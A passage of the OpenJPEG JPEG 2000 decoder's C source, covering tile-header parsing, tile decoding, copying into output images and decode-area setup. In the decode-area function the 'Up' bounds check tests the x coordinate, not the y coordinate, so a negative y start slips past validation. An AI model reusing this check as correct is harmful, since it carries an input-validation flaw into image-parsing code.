opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_marker_size, 2); /* Check marker size (does not include marker ID but includes marker size) */ if (l_marker_size < 2) { opj_event_msg(p_manager, EVT_ERROR, "Inconsistent marker size\n"); return OPJ_FALSE; } /* cf. https://code.google.com/p/openjpeg/issues/detail?id=226 */ if (l_current_marker == 0x8080 && opj_stream_get_number_byte_left(p_stream) == 0) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; break; } /* Why this condition? FIXME */ if (p_j2k->m_specific_param.m_decoder.m_state & J2K_STATE_TPH) { p_j2k->m_specific_param.m_decoder.m_sot_length -= (l_marker_size + 2); } l_marker_size -= 2; /* Subtract the size of the marker ID already read */ /* Get the marker handler from the marker ID */ l_marker_handler = opj_j2k_get_marker_handler(l_current_marker); /* Check if the marker is known and if it is the right place to find it */ if (!(p_j2k->m_specific_param.m_decoder.m_state & l_marker_handler->states)) { opj_event_msg(p_manager, EVT_ERROR, "Marker is not compliant with its position\n"); return OPJ_FALSE; } /* FIXME manage case of unknown marker as in the main header ? */ /* Check if the marker size is compatible with the header data size */ if (l_marker_size > p_j2k->m_specific_param.m_decoder.m_header_data_size) { OPJ_BYTE *new_header_data = NULL; /* If we are here, this means we consider this marker as known & we will read it */ /* Check enough bytes left in stream before allocation */ if ((OPJ_OFF_T)l_marker_size > opj_stream_get_number_byte_left(p_stream)) { opj_event_msg(p_manager, EVT_ERROR, "Marker size inconsistent with stream length\n"); return OPJ_FALSE; } new_header_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size); if (! new_header_data) { opj_free(p_j2k->m_specific_param.m_decoder.m_header_data); p_j2k->m_specific_param.m_decoder.m_header_data = NULL; p_j2k->m_specific_param.m_decoder.m_header_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to read header\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_header_data = new_header_data; p_j2k->m_specific_param.m_decoder.m_header_data_size = l_marker_size; } /* Try to read the rest of the marker segment from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager) != l_marker_size) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } if (!l_marker_handler->handler) { /* See issue #175 */ opj_event_msg(p_manager, EVT_ERROR, "Not sure how that happened.\n"); return OPJ_FALSE; } /* Read the marker segment with the correct marker handler */ if (!(*(l_marker_handler->handler))(p_j2k, p_j2k->m_specific_param.m_decoder.m_header_data, l_marker_size, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Fail to read the current marker segment (%#x)\n", l_current_marker); return OPJ_FALSE; } /* Add the marker to the codestream index*/ if (OPJ_FALSE == opj_j2k_add_tlmarker(p_j2k->m_current_tile_number, p_j2k->cstr_index, l_marker_handler->id, (OPJ_UINT32) opj_stream_tell(p_stream) - l_marker_size - 4, l_marker_size + 4)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add tl marker\n"); return OPJ_FALSE; } /* Keep the position of the last SOT marker read */ if (l_marker_handler->id == J2K_MS_SOT) { OPJ_UINT32 sot_pos = (OPJ_UINT32) opj_stream_tell(p_stream) - l_marker_size - 4 ; if (sot_pos > p_j2k->m_specific_param.m_decoder.m_last_sot_read_pos) { p_j2k->m_specific_param.m_decoder.m_last_sot_read_pos = sot_pos; } } if (p_j2k->m_specific_param.m_decoder.m_skip_data) { /* Skip the rest of the tile part header*/ if (opj_stream_skip(p_stream, p_j2k->m_specific_param.m_decoder.m_sot_length, p_manager) != p_j2k->m_specific_param.m_decoder.m_sot_length) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } l_current_marker = J2K_MS_SOD; /* Normally we reached a SOD */ } else { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer*/ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from the buffer as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } } if (opj_stream_get_number_byte_left(p_stream) == 0 && p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NEOC) { break; } /* If we didn't skip data before, we need to read the SOD marker*/ if (! p_j2k->m_specific_param.m_decoder.m_skip_data) { /* Try to read the SOD marker and skip data ? FIXME */ if (! opj_j2k_read_sod(p_j2k, p_stream, p_manager)) { return OPJ_FALSE; } if (p_j2k->m_specific_param.m_decoder.m_can_decode && !p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction_checked) { /* Issue 254 */ OPJ_BOOL l_correction_needed; p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction_checked = 1; if (!opj_j2k_need_nb_tile_parts_correction(p_stream, p_j2k->m_current_tile_number, &l_correction_needed, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "opj_j2k_apply_nb_tile_parts_correction error\n"); return OPJ_FALSE; } if (l_correction_needed) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.tw * p_j2k->m_cp.th; OPJ_UINT32 l_tile_no; p_j2k->m_specific_param.m_decoder.m_can_decode = 0; p_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction = 1; /* correct tiles */ for (l_tile_no = 0U; l_tile_no < l_nb_tiles; ++l_tile_no) { if (p_j2k->m_cp.tcps[l_tile_no].m_nb_tile_parts != 0U) { p_j2k->m_cp.tcps[l_tile_no].m_nb_tile_parts += 1; } } opj_event_msg(p_manager, EVT_WARNING, "Non conformant codestream TPsot==TNsot.\n"); } } if (! p_j2k->m_specific_param.m_decoder.m_can_decode) { /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from buffer as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } } else { /* Indicate we will try to read a new tile-part header*/ p_j2k->m_specific_param.m_decoder.m_skip_data = 0; p_j2k->m_specific_param.m_decoder.m_can_decode = 0; p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_TPHSOT; /* Try to read 2 bytes (the next marker ID) from stream and copy them into the buffer */ if (opj_stream_read_data(p_stream, p_j2k->m_specific_param.m_decoder.m_header_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } /* Read 2 bytes from buffer as the new marker ID */ opj_read_bytes(p_j2k->m_specific_param.m_decoder.m_header_data, &l_current_marker, 2); } } /* Current marker is the EOC marker ?*/ if (l_current_marker == J2K_MS_EOC) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_EOC; } /* FIXME DOC ???*/ if (! p_j2k->m_specific_param.m_decoder.m_can_decode) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; l_tcp = p_j2k->m_cp.tcps + p_j2k->m_current_tile_number; while ((p_j2k->m_current_tile_number < l_nb_tiles) && (l_tcp->m_data == 00)) { ++p_j2k->m_current_tile_number; ++l_tcp; } if (p_j2k->m_current_tile_number == l_nb_tiles) { *p_go_on = OPJ_FALSE; return OPJ_TRUE; } } if (! opj_j2k_merge_ppt(p_j2k->m_cp.tcps + p_j2k->m_current_tile_number, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Failed to merge PPT data\n"); return OPJ_FALSE; } /*FIXME ???*/ if (! opj_tcd_init_decode_tile(p_j2k->m_tcd, p_j2k->m_current_tile_number, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Cannot decode tile, memory error\n"); return OPJ_FALSE; } opj_event_msg(p_manager, EVT_INFO, "Header of tile %d / %d has been read.\n", p_j2k->m_current_tile_number + 1, (p_j2k->m_cp.th * p_j2k->m_cp.tw)); *p_tile_index = p_j2k->m_current_tile_number; *p_go_on = OPJ_TRUE; *p_data_size = opj_tcd_get_decoded_tile_size(p_j2k->m_tcd); if (*p_data_size == UINT_MAX) { return OPJ_FALSE; } *p_tile_x0 = p_j2k->m_tcd->tcd_image->tiles->x0; *p_tile_y0 = p_j2k->m_tcd->tcd_image->tiles->y0; *p_tile_x1 = p_j2k->m_tcd->tcd_image->tiles->x1; *p_tile_y1 = p_j2k->m_tcd->tcd_image->tiles->y1; *p_nb_comps = p_j2k->m_tcd->tcd_image->tiles->numcomps; p_j2k->m_specific_param.m_decoder.m_state |= J2K_STATE_DATA; return OPJ_TRUE; } OPJ_BOOL opj_j2k_decode_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, OPJ_BYTE * p_data, OPJ_UINT32 p_data_size, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 l_current_marker; OPJ_BYTE l_data [2]; opj_tcp_t * l_tcp; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); if (!(p_j2k->m_specific_param.m_decoder.m_state & J2K_STATE_DATA) || (p_tile_index != p_j2k->m_current_tile_number)) { return OPJ_FALSE; } l_tcp = &(p_j2k->m_cp.tcps[p_tile_index]); if (! l_tcp->m_data) { opj_j2k_tcp_destroy(l_tcp); return OPJ_FALSE; } if (! opj_tcd_decode_tile(p_j2k->m_tcd, l_tcp->m_data, l_tcp->m_data_size, p_tile_index, p_j2k->cstr_index, p_manager)) { opj_j2k_tcp_destroy(l_tcp); p_j2k->m_specific_param.m_decoder.m_state |= J2K_STATE_ERR; opj_event_msg(p_manager, EVT_ERROR, "Failed to decode.\n"); return OPJ_FALSE; } /* p_data can be set to NULL when the call will take care of using */ /* itself the TCD data. This is typically the case for whole single */ /* tile decoding optimization. */ if (p_data != NULL) { if (! opj_tcd_update_tile_data(p_j2k->m_tcd, p_data, p_data_size)) { return OPJ_FALSE; } /* To avoid to destroy the tcp which can be useful when we try to decode a tile decoded before (cf j2k_random_tile_access) * we destroy just the data which will be re-read in read_tile_header*/ /*opj_j2k_tcp_destroy(l_tcp); p_j2k->m_tcd->tcp = 0;*/ opj_j2k_tcp_data_destroy(l_tcp); } p_j2k->m_specific_param.m_decoder.m_can_decode = 0; p_j2k->m_specific_param.m_decoder.m_state &= (~(OPJ_UINT32)J2K_STATE_DATA); if (opj_stream_get_number_byte_left(p_stream) == 0 && p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_NEOC) { return OPJ_TRUE; } if (p_j2k->m_specific_param.m_decoder.m_state != J2K_STATE_EOC) { if (opj_stream_read_data(p_stream, l_data, 2, p_manager) != 2) { opj_event_msg(p_manager, EVT_ERROR, "Stream too short\n"); return OPJ_FALSE; } opj_read_bytes(l_data, &l_current_marker, 2); if (l_current_marker == J2K_MS_EOC) { p_j2k->m_current_tile_number = 0; p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_EOC; } else if (l_current_marker != J2K_MS_SOT) { if (opj_stream_get_number_byte_left(p_stream) == 0) { p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_NEOC; opj_event_msg(p_manager, EVT_WARNING, "Stream does not end with EOC\n"); return OPJ_TRUE; } opj_event_msg(p_manager, EVT_ERROR, "Stream too short, expected SOT\n"); return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_update_image_data(opj_tcd_t * p_tcd, OPJ_BYTE * p_data, opj_image_t* p_output_image) { OPJ_UINT32 i, j, k = 0; OPJ_UINT32 l_width_src, l_height_src; OPJ_UINT32 l_width_dest, l_height_dest; OPJ_INT32 l_offset_x0_src, l_offset_y0_src, l_offset_x1_src, l_offset_y1_src; OPJ_SIZE_T l_start_offset_src, l_line_offset_src, l_end_offset_src ; OPJ_UINT32 l_start_x_dest, l_start_y_dest; OPJ_UINT32 l_x0_dest, l_y0_dest, l_x1_dest, l_y1_dest; OPJ_SIZE_T l_start_offset_dest, l_line_offset_dest; opj_image_comp_t * l_img_comp_src = 00; opj_image_comp_t * l_img_comp_dest = 00; opj_tcd_tilecomp_t * l_tilec = 00; opj_image_t * l_image_src = 00; OPJ_UINT32 l_size_comp, l_remaining; OPJ_INT32 * l_dest_ptr; opj_tcd_resolution_t* l_res = 00; l_tilec = p_tcd->tcd_image->tiles->comps; l_image_src = p_tcd->image; l_img_comp_src = l_image_src->comps; l_img_comp_dest = p_output_image->comps; for (i = 0; i < l_image_src->numcomps; i++) { /* Allocate output component buffer if necessary */ if (!l_img_comp_dest->data) { OPJ_SIZE_T l_width = l_img_comp_dest->w; OPJ_SIZE_T l_height = l_img_comp_dest->h; if ((l_height == 0U) || (l_width > (SIZE_MAX / l_height)) || l_width * l_height > SIZE_MAX / sizeof(OPJ_INT32)) { /* would overflow */ return OPJ_FALSE; } l_img_comp_dest->data = (OPJ_INT32*) opj_image_data_alloc(l_width * l_height * sizeof(OPJ_INT32)); if (! l_img_comp_dest->data) { return OPJ_FALSE; } /* Do we really need this memset ? */ memset(l_img_comp_dest->data, 0, l_width * l_height * sizeof(OPJ_INT32)); } /* Copy info from decoded comp image to output image */ l_img_comp_dest->resno_decoded = l_img_comp_src->resno_decoded; /*-----*/ /* Compute the precision of the output buffer */ l_size_comp = l_img_comp_src->prec >> 3; /*(/ 8)*/ l_remaining = l_img_comp_src->prec & 7; /* (%8) */ l_res = l_tilec->resolutions + l_img_comp_src->resno_decoded; if (l_remaining) { ++l_size_comp; } if (l_size_comp == 3) { l_size_comp = 4; } /*-----*/ /* Current tile component size*/ /*if (i == 0) { fprintf(stdout, "SRC: l_res_x0=%d, l_res_x1=%d, l_res_y0=%d, l_res_y1=%d\n", l_res->x0, l_res->x1, l_res->y0, l_res->y1); }*/ l_width_src = (OPJ_UINT32)(l_res->x1 - l_res->x0); l_height_src = (OPJ_UINT32)(l_res->y1 - l_res->y0); /* Border of the current output component*/ l_x0_dest = opj_uint_ceildivpow2(l_img_comp_dest->x0, l_img_comp_dest->factor); l_y0_dest = opj_uint_ceildivpow2(l_img_comp_dest->y0, l_img_comp_dest->factor); l_x1_dest = l_x0_dest + l_img_comp_dest->w; /* can't overflow given that image->x1 is uint32 */ l_y1_dest = l_y0_dest + l_img_comp_dest->h; /*if (i == 0) { fprintf(stdout, "DEST: l_x0_dest=%d, l_x1_dest=%d, l_y0_dest=%d, l_y1_dest=%d (%d)\n", l_x0_dest, l_x1_dest, l_y0_dest, l_y1_dest, l_img_comp_dest->factor ); }*/ /*-----*/ /* Compute the area (l_offset_x0_src, l_offset_y0_src, l_offset_x1_src, l_offset_y1_src) * of the input buffer (decoded tile component) which will be move * in the output buffer. Compute the area of the output buffer (l_start_x_dest, * l_start_y_dest, l_width_dest, l_height_dest) which will be modified * by this input area. * */ assert(l_res->x0 >= 0); assert(l_res->x1 >= 0); if (l_x0_dest < (OPJ_UINT32)l_res->x0) { l_start_x_dest = (OPJ_UINT32)l_res->x0 - l_x0_dest; l_offset_x0_src = 0; if (l_x1_dest >= (OPJ_UINT32)l_res->x1) { l_width_dest = l_width_src; l_offset_x1_src = 0; } else { l_width_dest = l_x1_dest - (OPJ_UINT32)l_res->x0 ; l_offset_x1_src = (OPJ_INT32)(l_width_src - l_width_dest); } } else { l_start_x_dest = 0U; l_offset_x0_src = (OPJ_INT32)l_x0_dest - l_res->x0; if (l_x1_dest >= (OPJ_UINT32)l_res->x1) { l_width_dest = l_width_src - (OPJ_UINT32)l_offset_x0_src; l_offset_x1_src = 0; } else { l_width_dest = l_img_comp_dest->w ; l_offset_x1_src = l_res->x1 - (OPJ_INT32)l_x1_dest; } } if (l_y0_dest < (OPJ_UINT32)l_res->y0) { l_start_y_dest = (OPJ_UINT32)l_res->y0 - l_y0_dest; l_offset_y0_src = 0; if (l_y1_dest >= (OPJ_UINT32)l_res->y1) { l_height_dest = l_height_src; l_offset_y1_src = 0; } else { l_height_dest = l_y1_dest - (OPJ_UINT32)l_res->y0 ; l_offset_y1_src = (OPJ_INT32)(l_height_src - l_height_dest); } } else { l_start_y_dest = 0U; l_offset_y0_src = (OPJ_INT32)l_y0_dest - l_res->y0; if (l_y1_dest >= (OPJ_UINT32)l_res->y1) { l_height_dest = l_height_src - (OPJ_UINT32)l_offset_y0_src; l_offset_y1_src = 0; } else { l_height_dest = l_img_comp_dest->h ; l_offset_y1_src = l_res->y1 - (OPJ_INT32)l_y1_dest; } } if ((l_offset_x0_src < 0) || (l_offset_y0_src < 0) || (l_offset_x1_src < 0) || (l_offset_y1_src < 0)) { return OPJ_FALSE; } /* testcase 2977.pdf.asan.67.2198 */ if ((OPJ_INT32)l_width_dest < 0 || (OPJ_INT32)l_height_dest < 0) { return OPJ_FALSE; } /*-----*/ /* Compute the input buffer offset */ l_start_offset_src = (OPJ_SIZE_T)l_offset_x0_src + (OPJ_SIZE_T)l_offset_y0_src * (OPJ_SIZE_T)l_width_src; l_line_offset_src = (OPJ_SIZE_T)l_offset_x1_src + (OPJ_SIZE_T)l_offset_x0_src; l_end_offset_src = (OPJ_SIZE_T)l_offset_y1_src * (OPJ_SIZE_T)l_width_src - (OPJ_SIZE_T)l_offset_x0_src; /* Compute the output buffer offset */ l_start_offset_dest = (OPJ_SIZE_T)l_start_x_dest + (OPJ_SIZE_T)l_start_y_dest * (OPJ_SIZE_T)l_img_comp_dest->w; l_line_offset_dest = (OPJ_SIZE_T)l_img_comp_dest->w - (OPJ_SIZE_T)l_width_dest; /* Move the output buffer to the first place where we will write*/ l_dest_ptr = l_img_comp_dest->data + l_start_offset_dest; /*if (i == 0) { fprintf(stdout, "COMPO[%d]:\n",i); fprintf(stdout, "SRC: l_start_x_src=%d, l_start_y_src=%d, l_width_src=%d, l_height_src=%d\n" "\t tile offset:%d, %d, %d, %d\n" "\t buffer offset: %d; %d, %d\n", l_res->x0, l_res->y0, l_width_src, l_height_src, l_offset_x0_src, l_offset_y0_src, l_offset_x1_src, l_offset_y1_src, l_start_offset_src, l_line_offset_src, l_end_offset_src); fprintf(stdout, "DEST: l_start_x_dest=%d, l_start_y_dest=%d, l_width_dest=%d, l_height_dest=%d\n" "\t start offset: %d, line offset= %d\n", l_start_x_dest, l_start_y_dest, l_width_dest, l_height_dest, l_start_offset_dest, l_line_offset_dest); }*/ switch (l_size_comp) { case 1: { OPJ_CHAR * l_src_ptr = (OPJ_CHAR*) p_data; l_src_ptr += l_start_offset_src; /* Move to the first place where we will read*/ if (l_img_comp_src->sgnd) { for (j = 0 ; j < l_height_dest ; ++j) { for (k = 0 ; k < l_width_dest ; ++k) { *(l_dest_ptr++) = (OPJ_INT32)(* (l_src_ptr++)); /* Copy only the data needed for the output image */ } l_dest_ptr += l_line_offset_dest; /* Move to the next place where we will write */ l_src_ptr += l_line_offset_src ; /* Move to the next place where we will read */ } } else { for (j = 0 ; j < l_height_dest ; ++j) { for (k = 0 ; k < l_width_dest ; ++k) { *(l_dest_ptr++) = (OPJ_INT32)((*(l_src_ptr++)) & 0xff); } l_dest_ptr += l_line_offset_dest; l_src_ptr += l_line_offset_src; } } l_src_ptr += l_end_offset_src; /* Move to the end of this component-part of the input buffer */ p_data = (OPJ_BYTE*) l_src_ptr; /* Keep the current position for the next component-part */ } break; case 2: { OPJ_INT16 * l_src_ptr = (OPJ_INT16 *) p_data; l_src_ptr += l_start_offset_src; if (l_img_comp_src->sgnd) { for (j = 0; j < l_height_dest; ++j) { for (k = 0; k < l_width_dest; ++k) { OPJ_INT16 val; memcpy(&val, l_src_ptr, sizeof(val)); l_src_ptr ++; *(l_dest_ptr++) = val; } l_dest_ptr += l_line_offset_dest; l_src_ptr += l_line_offset_src ; } } else { for (j = 0; j < l_height_dest; ++j) { for (k = 0; k < l_width_dest; ++k) { OPJ_INT16 val; memcpy(&val, l_src_ptr, sizeof(val)); l_src_ptr ++; *(l_dest_ptr++) = val & 0xffff; } l_dest_ptr += l_line_offset_dest; l_src_ptr += l_line_offset_src ; } } l_src_ptr += l_end_offset_src; p_data = (OPJ_BYTE*) l_src_ptr; } break; case 4: { OPJ_INT32 * l_src_ptr = (OPJ_INT32 *) p_data; l_src_ptr += l_start_offset_src; for (j = 0; j < l_height_dest; ++j) { memcpy(l_dest_ptr, l_src_ptr, l_width_dest * sizeof(OPJ_INT32)); l_dest_ptr += l_width_dest + l_line_offset_dest; l_src_ptr += l_width_dest + l_line_offset_src ; } l_src_ptr += l_end_offset_src; p_data = (OPJ_BYTE*) l_src_ptr; } break; } ++l_img_comp_dest; ++l_img_comp_src; ++l_tilec; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_set_decode_area(opj_j2k_t *p_j2k, opj_image_t* p_image, OPJ_INT32 p_start_x, OPJ_INT32 p_start_y, OPJ_INT32 p_end_x, OPJ_INT32 p_end_y, opj_event_mgr_t * p_manager) { opj_cp_t * l_cp = &(p_j2k->m_cp); opj_image_t * l_image = p_j2k->m_private_image; OPJ_UINT32 it_comp; OPJ_INT32 l_comp_x1, l_comp_y1; opj_image_comp_t* l_img_comp = NULL; /* Check if we are read the main header */ if (p_j2k->m_specific_param.m_decoder.m_state != J2K_STATE_TPHSOT) { opj_event_msg(p_manager, EVT_ERROR, "Need to decode the main header before begin to decode the remaining codestream"); return OPJ_FALSE; } if (!p_start_x && !p_start_y && !p_end_x && !p_end_y) { opj_event_msg(p_manager, EVT_INFO, "No decoded area parameters, set the decoded area to the whole image\n"); p_j2k->m_specific_param.m_decoder.m_start_tile_x = 0; p_j2k->m_specific_param.m_decoder.m_start_tile_y = 0; p_j2k->m_specific_param.m_decoder.m_end_tile_x = l_cp->tw; p_j2k->m_specific_param.m_decoder.m_end_tile_y = l_cp->th; return OPJ_TRUE; } /* ----- */ /* Check if the positions provided by the user are correct */ /* Left */ if (p_start_x < 0) { opj_event_msg(p_manager, EVT_ERROR, "Left position of the decoded area (region_x0=%d) should be >= 0.\n", p_start_x); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_x > l_image->x1) { opj_event_msg(p_manager, EVT_ERROR, "Left position of the decoded area (region_x0=%d) is outside the image area (Xsiz=%d).\n", p_start_x, l_image->x1); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_x < l_image->x0) { opj_event_msg(p_manager, EVT_WARNING, "Left position of the decoded area (region_x0=%d) is outside the image area (XOsiz=%d).\n", p_start_x, l_image->x0); p_j2k->m_specific_param.m_decoder.m_start_tile_x = 0; p_image->x0 = l_image->x0; } else { p_j2k->m_specific_param.m_decoder.m_start_tile_x = ((OPJ_UINT32)p_start_x - l_cp->tx0) / l_cp->tdx; p_image->x0 = (OPJ_UINT32)p_start_x; } /* Up */ if (p_start_x < 0) { opj_event_msg(p_manager, EVT_ERROR, "Up position of the decoded area (region_y0=%d) should be >= 0.\n", p_start_y); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_y > l_image->y1) { opj_event_msg(p_manager, EVT_ERROR, "Up position of the decoded area (region_y0=%d) is outside the image area (Ysiz=%d).\n", p_start_y, l_image->y1); return OPJ_FALSE; } else if ((OPJ_UINT32)p_start_y < l_image->y0) { opj_event_msg(p_manager, EVT_WARNING, "Up position of the decoded area (region_y0=%d) is outside the image area (YOsiz=%d).\n", p_start_y, l_image->y0); p_j2k->m_specific_param.m_decoder.m_start_tile_y = 0; p_image->y0 = l_image->y0; } else { p_j2k->m_specific_param.m_decoder.m_start_tile_y = ((OPJ_UINT32)p_start_y - l_cp->ty0) / l_cp->tdy; p_image->y0 = (OPJ_UINT32)p_start_y; } /* Right */ if (p_end_x <= 0) { opj_event_msg(p_manager, EVT_ERROR, "Right position of the decoded area (region_x1=%d) should be > 0.\n", p_end_x); return OPJ_FALSE; } else if ((OPJ_UINT32)p_end_x < l_image->x0) { opj_event_msg(p_manager, EVT_ERROR, "Right position of the decoded area (region_x1=%d) is outside the image area (XOsiz=%d).\n", p_end_x, l_image->x0); return OPJ_FALSE; } else if ((OPJ_UINT32)p_end_x > l_image->x1) { opj_event_msg(p_manager, EVT_WARNING, "Right position of the decoded area (region_x1=%d) is outside the image area (Xsiz=%d).\n", p_end_x, l_image->x1); p_j2k->m_specific_param.m_decoder.m_end_tile_x = l_cp->tw; p_image->x1 = l_image->x1; } else { p_j2k->m_specific_param.m_decoder.m_end_tile_x = (OPJ_UINT32)opj_int_ceildiv( p_end_x - (OPJ_INT32)l_cp->tx0, (OPJ_INT32)l_cp->tdx); p_image->x1 = (OPJ_UINT32)p_end_x; } /* Bottom */ if (p_end_y <= 0) { opj_event_msg(p_manager, EVT_ERROR, "Bottom position of the decoded area (region_y1=%d) should be > 0.\n", p_end_y); return OPJ_FALSE; } else if ((OPJ_UINT32)p_end_y < l_image->y0) { opj_event_msg(p_manager, EVT_ERROR, "Bottom position of the decoded area (region_y1=%d) is outside the image area (YOsiz=%d).\n", p_end_y, l_image->y0); return OPJ_FALSE; } if ((OPJ_UINT32)p_end_y > l_image->y1) { opj_event_msg(p_manager, EVT_WARNING, "Bottom position of the decoded area (region_y1=%d) is outside the image area (Ysiz=%d).\n", p_end_y, l_image->y1); p_j2k->m_specific_param.m_decoder.m_end_tile_y = l_cp->th; p_image->y1 = l_image->y1; } else { p_j2k->m_specific_param.m_decoder.m_end_tile_y = (OPJ_UINT32)opj_int_ceildiv( p_end_y - (OPJ_INT32)l_cp->ty0, (OPJ_INT32)l_cp->tdy); p_image->y1 = (OPJ_UINT32)p_end_y; } /* ----- */ p_j2k->m_specific_param.m_decoder.m_discard_tiles = 1; l_img_comp = p_image->comps; for (it_comp = 0; it_comp < p_image->numcomps; ++it_comp) { OPJ_INT32 l_h, l_w; l_img_comp->x0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->x0, (OPJ_INT32)l_img_comp->dx); l_img_comp->y0 = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)p_image->y0, (OPJ_INT32)l_img_comp->dy); l_comp_x1 = opj_int_ceildiv((OPJ_INT32)p_image->x1, (OPJ_INT32)l_img_comp->dx); l_comp_y1 = opj_int_ceildiv((OPJ_INT32)p_image->y1, (OPJ_INT32)l_img_comp->dy); l_w = opj_int_ceildivpow2(l_comp_x1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->x0, (OPJ_INT32)l_img_comp->factor); if (l_w < 0) { opj_event_msg(p_manager, EVT_ERROR, "Size x of the decoded component image is incorrect (comp[%d].w=%d).\n", it_comp, l_w); return OPJ_FALSE; } l_img_comp->w = (OPJ_UINT32)l_w; l_h = opj_int_ceildivpow2(l_comp_y1, (OPJ_INT32)l_img_comp->factor) - opj_int_ceildivpow2((OPJ_INT32)l_img_comp->y0, (OPJ_INT32)l_img_comp->factor); if (l_h < 0) { opj_event_msg(p_manager, EVT_ERROR, "Size y of the decoded component image is incorrect (comp[%d].h=%d).\n", it_comp, l_h); return OPJ_FALSE; } l_img_comp->h = (OPJ_UINT32)l_h; l_img_comp++; } opj_event_msg(p_manager, EVT_INFO, "Setting decoding area to %d,%d,%d,%d\n", p_image->x0, p_image->y0, p_image->x1, p_image->y1); return OPJ_TRUE; } opj_j2k_t* opj_j2k_create_decompress(void) { opj_j2k_t *l_j2k = (opj_j2k_t*) opj_calloc(1, sizeof(opj_j2k_t)); if (!l_j2k) { return 00; } l_j2k->m_is_decoder = 1; l_j2k->m_cp.m_is_decoder = 1; /* in the absence of JP2 boxes, consider different bit depth / sign */ /* per component is allowed */ l_j2k->m_cp.allow_different_bit_depth_sign = 1; #ifdef OPJ_DISABLE_TPSOT_FIX l_j2k->m_specific_param.m_decoder.m_nb_tile_parts_correction_checked = 1; #endif l_j2k->m_specific_param.m_decoder.m_default_tcp = (opj_tcp_t*) opj_calloc(1, sizeof(opj_tcp_t)); if (!l_j2k->m_specific_param.m_decoder.m_default_tcp) { opj_j2k_destroy(l_j2k); return 00; } l_j2k->m_specific_param.m_decoder.m_header_data = (OPJ_BYTE *) opj_calloc(1, OPJ_J2K_DEFAULT_HEADER_SIZE); if (! l_j2k->m_specific_param.m_decoder.m_header_data) { opj_j2k_destroy(l_j2k); return 00; } l_j2k->m_specific_param.m_decoder.m_header_data_size = OPJ_J2K_DEFAULT_HEADER_SIZE; l_j2k->m_specific_param.m_decoder.m_tile_ind_to_dec = -1 ; l_j2k->m_specific_param.m_decoder.m_last_sot_read_pos = 0 ; /* codestream index creation */ l_j2k->cstr_index = opj_j2k_create_cstr_index(); if (!l_j2k->cstr_index) { opj_j2k_destroy(l_j2k); return 00; } /* validation list creation */ l_j2k->m_validation_list = opj_procedure_list_create(); if (! l_j2k->m_validation_list) { opj_j2k_destroy(l_j2k); return 00; } /* execution list creation */ l_j2k->m_procedure_list = opj_procedure_list_create(); if (! l_j2k->m_procedure_list) { opj_j2k_destroy(l_j2k); return 00; } l_j2k->m_tp = opj_thread_pool_create(opj_j2k_get_default_thread_count()); if (!l_j2k->m_tp) { l_j2k->m_tp = opj_thread_pool_create(0); } if (!l_j2k->m_tp) { opj_j2k_destroy(l_j2k); return NULL; } return l_j2k; } static opj_codestream_index_t* opj_j2k_create_cstr_index(void) { opj_codestream_index_t* cstr_index = (opj_codestream_index_t*) opj_calloc(1, sizeof(opj_codestream_index_t)); if (!cstr_index) { return NULL; } cstr_index->maxmarknum = 100; cstr_index->marknum = 0; cstr_index->marker = (opj_marker_info_t*) opj_calloc(cstr_index->maxmarknum, sizeof(opj_marker_info_t)); if (!cstr_index-> marker) { opj_free(cstr_index); return NULL; } cstr_index->tile_index = NULL; return cstr_index; } static OPJ_UINT32 opj_j2k_get_SPCod_SPCoc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no) 